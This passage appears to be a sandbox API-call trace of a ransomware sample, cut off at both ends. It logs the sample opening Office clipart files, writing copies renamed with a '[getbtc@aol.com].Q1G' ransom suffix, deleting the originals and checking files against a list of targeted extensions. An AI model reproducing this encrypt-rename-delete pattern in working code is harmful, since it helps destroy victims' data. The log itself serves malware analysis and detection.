lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0254.873] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.874] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.874] SetEndOfFile (hFile=0x3f0) returned 1 [0254.874] CloseHandle (hObject=0x3f0) returned 1 [0254.874] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.874] SetEndOfFile (hFile=0x3d0) returned 1 [0254.876] CloseHandle (hObject=0x3d0) returned 1 [0254.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0254.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.877] lstrlenW (lpString=".doc") returned 4 [0254.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.877] lstrlenW (lpString=".docx") returned 5 [0254.877] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0254.877] lstrlenW (lpString=".pdf") returned 4 [0254.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.877] lstrlenW (lpString=".xls") returned 4 [0254.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.877] lstrlenW (lpString=".xlsx") returned 5 [0254.877] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0254.877] lstrlenW (lpString=".ppt") returned 4 [0254.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.878] lstrlenW (lpString=".zip") returned 4 [0254.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.878] lstrlenW (lpString=".rar") returned 4 [0254.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.878] lstrlenW (lpString=".bz2") returned 4 [0254.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.878] lstrlenW (lpString=".7z") returned 3 [0254.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.878] lstrlenW (lpString=".dbf") returned 4 [0254.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.878] lstrlenW (lpString=".1cd") returned 4 [0254.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.878] lstrlenW (lpString=".jpg") returned 4 [0254.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.878] lstrlenW (lpString=".doc") returned 4 [0254.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.878] lstrlenW (lpString=".docx") returned 5 [0254.878] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0254.878] lstrlenW (lpString=".pdf") returned 4 [0254.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.878] lstrlenW (lpString=".xls") returned 4 [0254.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.878] lstrlenW (lpString=".xlsx") returned 5 [0254.878] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0254.878] lstrlenW (lpString=".ppt") returned 4 [0254.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.879] lstrlenW (lpString=".zip") returned 4 [0254.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.879] lstrlenW (lpString=".rar") returned 4 [0254.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.879] lstrlenW (lpString=".bz2") returned 4 [0254.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.879] lstrlenW (lpString=".7z") returned 3 [0254.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.879] lstrlenW (lpString=".dbf") returned 4 [0254.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.879] lstrlenW (lpString=".1cd") returned 4 [0254.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0254.879] lstrlenW (lpString=".jpg") returned 4 [0254.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.879] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.879] lstrlenW (lpString="J0099182.WMF") returned 12 [0254.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.880] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3840) returned 1 [0254.880] CloseHandle (hObject=0x3d0) returned 1 [0254.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 0x20 [0254.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.880] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.880] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0254.881] GetLastError () returned 0x0 [0254.881] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xf00, lpOverlapped=0x0) returned 1 [0254.882] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xf10, lpOverlapped=0x0) returned 1 [0254.883] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.883] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.883] SetEndOfFile (hFile=0x3f0) returned 1 [0254.883] CloseHandle (hObject=0x3f0) returned 1 [0254.883] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.884] SetEndOfFile (hFile=0x3d0) returned 1 [0254.885] CloseHandle (hObject=0x3d0) returned 1 [0254.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0254.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.886] lstrlenW (lpString=".doc") returned 4 [0254.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.886] lstrlenW (lpString=".docx") returned 5 [0254.886] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0254.886] lstrlenW (lpString=".pdf") returned 4 [0254.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.887] lstrlenW (lpString=".xls") returned 4 [0254.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.887] lstrlenW (lpString=".xlsx") returned 5 [0254.887] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0254.887] lstrlenW (lpString=".ppt") returned 4 [0254.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.887] lstrlenW (lpString=".zip") returned 4 [0254.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.887] lstrlenW (lpString=".rar") returned 4 [0254.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.887] lstrlenW (lpString=".bz2") returned 4 [0254.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.887] lstrlenW (lpString=".7z") returned 3 [0254.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.887] lstrlenW (lpString=".dbf") returned 4 [0254.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.887] lstrlenW (lpString=".1cd") returned 4 [0254.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.887] lstrlenW (lpString=".jpg") returned 4 [0254.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.887] lstrlenW (lpString=".doc") returned 4 [0254.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.887] lstrlenW (lpString=".docx") returned 5 [0254.887] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0254.887] lstrlenW (lpString=".pdf") returned 4 [0254.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.887] lstrlenW (lpString=".xls") returned 4 [0254.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.887] lstrlenW (lpString=".xlsx") returned 5 [0254.888] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0254.888] lstrlenW (lpString=".ppt") returned 4 [0254.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.888] lstrlenW (lpString=".zip") returned 4 [0254.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.888] lstrlenW (lpString=".rar") returned 4 [0254.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.888] lstrlenW (lpString=".bz2") returned 4 [0254.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.888] lstrlenW (lpString=".7z") returned 3 [0254.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.888] lstrlenW (lpString=".dbf") returned 4 [0254.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.888] lstrlenW (lpString=".1cd") returned 4 [0254.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0254.888] lstrlenW (lpString=".jpg") returned 4 [0254.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.888] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.888] lstrlenW (lpString="J0099183.WMF") returned 12 [0254.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.889] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4946) returned 1 [0254.889] CloseHandle (hObject=0x3d0) returned 1 [0254.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 0x20 [0254.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.890] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.890] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0254.890] GetLastError () returned 0x0 [0254.890] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1352, lpOverlapped=0x0) returned 1 [0254.892] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0254.893] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.893] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.893] SetEndOfFile (hFile=0x3f0) returned 1 [0254.893] CloseHandle (hObject=0x3f0) returned 1 [0254.893] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.893] SetEndOfFile (hFile=0x3d0) returned 1 [0255.013] CloseHandle (hObject=0x3d0) returned 1 [0255.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0255.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.040] lstrlenW (lpString=".doc") returned 4 [0255.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.040] lstrlenW (lpString=".docx") returned 5 [0255.040] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0255.040] lstrlenW (lpString=".pdf") returned 4 [0255.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.040] lstrlenW (lpString=".xls") returned 4 [0255.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.040] lstrlenW (lpString=".xlsx") returned 5 [0255.040] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0255.040] lstrlenW (lpString=".ppt") returned 4 [0255.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.040] lstrlenW (lpString=".zip") returned 4 [0255.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.040] lstrlenW (lpString=".rar") returned 4 [0255.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.040] lstrlenW (lpString=".bz2") returned 4 [0255.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.040] lstrlenW (lpString=".7z") returned 3 [0255.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.040] lstrlenW (lpString=".dbf") returned 4 [0255.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.040] lstrlenW (lpString=".1cd") returned 4 [0255.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.040] lstrlenW (lpString=".jpg") returned 4 [0255.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.040] lstrlenW (lpString=".doc") returned 4 [0255.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.040] lstrlenW (lpString=".docx") returned 5 [0255.041] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0255.041] lstrlenW (lpString=".pdf") returned 4 [0255.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.041] lstrlenW (lpString=".xls") returned 4 [0255.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.041] lstrlenW (lpString=".xlsx") returned 5 [0255.041] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0255.041] lstrlenW (lpString=".ppt") returned 4 [0255.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.041] lstrlenW (lpString=".zip") returned 4 [0255.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.041] lstrlenW (lpString=".rar") returned 4 [0255.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.041] lstrlenW (lpString=".bz2") returned 4 [0255.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.041] lstrlenW (lpString=".7z") returned 3 [0255.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.041] lstrlenW (lpString=".dbf") returned 4 [0255.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.041] lstrlenW (lpString=".1cd") returned 4 [0255.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0255.041] lstrlenW (lpString=".jpg") returned 4 [0255.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.041] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0255.041] lstrlenW (lpString="J0099186.JPG") returned 12 [0255.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0255.042] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=16738) returned 1 [0255.042] CloseHandle (hObject=0x3ec) returned 1 [0255.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 0x20 [0255.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0255.042] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.042] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0255.043] GetLastError () returned 0x0 [0255.043] ReadFile (in: hFile=0x3ec, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4162, lpOverlapped=0x0) returned 1 [0255.102] WriteFile (in: hFile=0x3cc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0255.103] ReadFile (in: hFile=0x3ec, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.103] WriteFile (in: hFile=0x3cc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.103] SetEndOfFile (hFile=0x3cc) returned 1 [0255.104] CloseHandle (hObject=0x3cc) returned 1 [0255.104] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | 